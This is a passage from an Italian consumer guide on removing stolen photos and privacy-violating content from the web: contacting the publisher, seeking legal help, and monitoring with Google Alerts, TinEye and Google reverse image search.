In mancanza di risposta da parte del gestore della piattaforma, è necessario contattare direttamente chi ha pubblicato i contenuti incriminati. La richiesta, che dovrà essere molto ferma e pacata nei toni, dovrà richiedere la rimozione immediata del contenuto che viola la nostra privacy o la nostra proprietà intellettuale, dal momento che la pubblicazione è avvenuta senza il nostro consenso.

Nei casi più gravi, è opportuno farsi assistere da un esperto legale nella stesura e l’invio del testo, per essere certi che la comunicazione possa fare presa sul destinatario. In molti casi, la paura di ripercussioni legali è sufficiente per ottenere la rimozione volontaria dei contenuti.

Rimuovere foto rubate dalla Rete: essere proattivi

Vigilare sulla propria reputazione online è il metodo migliore per evitare serie problematiche legate alla privacy o la violazione della proprietà intellettuale. Google, ad esempio, attraverso i suoi alerts permette di ricevere una notifica ogni volta che il nostro nome o un nostro dato personale (indirizzo e-mail, numero di telefono, etc…) appena questo appare sulla Rete, verificandone il contenuto in modo tempestivo.

Per quanto riguarda le immagini, esistono numerosi strumenti per cercare sulla Rete le nostre foto. Siti come TinEye o Google Image permettono di effettuare ricerca a partire da un’immagine caricata: eventuali corrispondenze vengono segnalate con tanto di indirizzo web di pubblicazione.

Per verificare se una delle nostre foto è stata rubata e utilizzata da qualcuno a nostra insaputa, è possibile chiamare in causa TinEye.
Per verificare se una delle nostre foto è stata rubata e utilizzata da qualcuno a nostra insaputa, è possibile chiamare in causa TinEye.

In questi casi, però, è bene utilizzare una buona dose di buonsenso: le immagini date in pasto a questi due servizi vengono memorizzate sui server per periodi di tempo variabili (72 ore nel caso di TinEye e per sempre nel caso di Google), quindi massima attenzione. Sebbene questi materiali non siano formalmente visibili al pubblico, meglio evitare il caricamento di scatti compromettenti o troppo delicati.